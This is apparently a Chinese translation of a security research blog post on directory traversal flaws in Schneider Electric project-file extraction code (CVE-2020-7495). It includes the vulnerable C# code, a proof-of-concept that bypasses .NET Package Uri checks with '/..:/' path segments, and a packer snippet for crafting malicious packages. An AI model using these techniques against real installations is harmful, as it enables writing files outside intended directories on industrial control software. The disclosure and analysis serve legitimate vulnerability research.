在本系列博文里关于Pwn2Own 第一部分博客文章中,简单讨论了在阅读ZDI的一条推文后不到20分钟的时间里怎么发现的目录遍历漏洞。本文继续研究漏洞技术细节以及解压缩代码中的第二个目录遍历漏洞。
Schneider最新的更新应该是修复了CVE-2020–7495和CVE-2020–7497。这篇文章重点介绍CVE-2020–7495。关于CVE-2020-7749的技术细节就不介绍了,这个漏洞是特权升级链才有的备份漏洞,在启动过程中以系统用户的身份获取代码执行。
由于ZDI的推文 里提到了Claroty发现的漏洞是目录遍历,于是我们审计解压缩代码的时候发现以下这段漏洞代码。
string path = Path.Combine(ProjectLocalPath, contentFile.Uri.OriginalString.TrimStart(‘/’).Replace(“:”, string.Empty));
这段代码删除“:”号,所以我们可以利用这个过程,输入带有:
的路径/..:/..:/ lol
会被转换为/../../ lol
,然后就可以遍历目录了。
Schneider使用System.IO.Packaging中的Package类进行解压缩。下面两个代码段中看到开发者使用方式的关键点:
public void UnpackOrCreateProjectFile(bool isFileReadOnly = false) { this.OpenPackage(isFileReadOnly); bool flag = false; foreach (PackagePart packagePart in this.Package.GetParts()) { this.ExtractFile((ZipPackagePart)packagePart); flag = true; } if (!flag) { this.Close(); throw new InvalidOperationException("Corrupted file"); } }
private void ExtractFile(ZipPackagePart contentFile) { string text = Path.Combine(this.ProjectLocalPath, contentFile.Uri.OriginalString.TrimStart(new char[] {'/'}).Replace(":", string.Empty)); string directoryName = Path.GetDirectoryName(text); if (directoryName != null && !Directory.Exists(directoryName)) { Directory.CreateDirectory(directoryName); } using (FileStream fileStream = new FileStream(text, FileMode.OpenOrCreate, FileAccess.ReadWrite)) { fileStream.SetAccessControl(new FileSecurity(text, AccessControlSections.Access)); this._codecService.Decrypt(contentFile.GetStream(), fileStream); } }
第一段函数调用OpenPackage,后续会在调用Package.Open()。然后把Package的所有内容传递给Extractfile函数。然后ExtractFile将解压缩文件写入到指定的位置。
Package类内置的目录遍历防护措施。所以迈阿密的多个Pwn2Own参与者才发誓说,这种解压缩根本没有bug。
通过查看Package类的参考源,我们可以了解Microsoft如何处理目录遍历问题。
.NET程序包根据不同的规则验证程序包路径;不过是一种通过将路径转换为Uri来实现防止路径遍历的方法。
假定解析的Uri路径和原始路径相等为有效路径。解析的Uri路径将a/b/c/../
转化为a/b
防止路径遍历攻击。以下代码段显示了验证实施:
string wellFormedPartName = new Uri(_defaultUri, partName).GetComponents(UriComponents.Path | UriComponents.KeepDelimiter, UriFormat.UriEscaped); //Note - For Relative Uris the output of ToString() and OriginalString property //are the same as per the current implementation of System.Uri //Need to use OriginalString property or ToString() here as we are want to //validate that the input uri given to us was valid in the first place. //We do not want to use GetComponents in this case as it might lead to //performing escaping or unescaping as per the UriFormat enum value and that //may alter the string that the user created the Uri with and we may not be able //to verify the uri correctly. //We perform the comparison in a case-insensitive manner, as at this point, //only escaped hex digits (A-F) might vary in casing. if (String.CompareOrdinal(partUri.OriginalString.ToUpperInvariant(), wellFormedPartName.ToUpperInvariant()) != 0) return new ArgumentException(SR.Get(SRID.InvalidPartUri));
但是由于施耐德替换冒号的特性,因此..:
会变成..
有效的Uri进行遍历,如下所示:
namespace PackageURI { class Program { static void Main(string[] args) { var package = Package.Open("foo.pack", System.IO.FileMode.OpenOrCreate, System.IO.FileAccess.ReadWrite); var path = new Uri("/../../../foo.txt", UriKind.Relative); package.CreatePart(path, "application/json"); // Failed! path = new Uri("/..:/..:/..:/bar.txt", UriKind.Relative); package.CreatePart(path, "application/json"); // Success! package.Close(); } } }
制作恶意软件包文件非常简单。 通过修改本博客系列第一部分中使用的打包程序,对文件名“ hack”添加前缀即可正常使用。
String uriprefix = ""; if (file.FullName.Contains("hack")) { uriprefix = "/..:/..:/..:/"; } Uri partUri = PackUriHelper.CreatePartUri(new Uri(uriprefix + this.GetRelativePath(file.FullName, sourceDir), UriKind.RelativeOrAbsolute));
本系列文章里得第一篇博客文章中提到了目录遍历漏洞得存在,后来又收到一条友情提示,说遍历错误是在Service Pack 1中引入的。但是目录遍历漏洞在Service Pack 1之前确实有效。 因此我们用最快的速度看了以下Service Pack 1更新。 也许那里还有另一个漏洞?
在PackageService类内部的UnpackOrCreateProjectFile函数里,如果this.IsMetaDataFileExist() 返回true
会将使用新的解压缩方法。如果没有返回"true"那就还是使用_compatibilityPackageService进行解压缩(这是旧的解压缩漏洞所在的位置)。
新解压缩方法是进入ExtractToDirectory()。如下面的代码片段所示,输出路径设置为:
string fullPath = Path.GetFullPath(Path.Combine(fullName, zipArchiveEntry.FullName));
private void ExtractToDirectory(ZipArchive source) { string fullName = Directory.CreateDirectory(this.ProjectLocalPath).FullName; foreach (ZipArchiveEntry zipArchiveEntry in source.Entries) { if (!(zipArchiveEntry.FullName == "_metadata")) { string fullPath = Path.GetFullPath(Path.Combine(fullName, zipArchiveEntry.FullName)); if (Path.GetFileName(fullPath).Length == 0) { Directory.CreateDirectory(fullPath); } else { string directoryName = Path.GetDirectoryName(fullPath); if (directoryName != null) { Directory.CreateDirectory(directoryName); this.ExtractToFile(zipArchiveEntry, fullPath); } } } } }
但因为没有对zipArchiveEntry.FullName进行验证,因此可以通过将文件名设置为“ ../”来遍历目录。这还是能产生目录遍历漏洞。这是zipArchive中的一个已知缺陷,在Microsoft文档的第一个示例里提到过这一点,算是一个已经公开的技巧。
我们报告这个漏洞的时候被官方标记为重复。
漏洞很酷-尤其是白嫖的时候。
为了利用这些漏洞中的任何一个都需要找到第二个漏洞。例如,尝试加载项目中不存在的DLL文件。
查找此类漏洞并构建完整漏洞利用的方法留给读者作为练习。
FredrikØstrem,EmilSandstø和Cim Stordal
翻译:看雪翻译小组 lipss
校对:看雪翻译小组 一壶葱茜
原文地址:https://medium.com/cognite/pwn2own-or-not2pwn-part-2-5-a-brief-tale-of-free-0days-e1df142eb815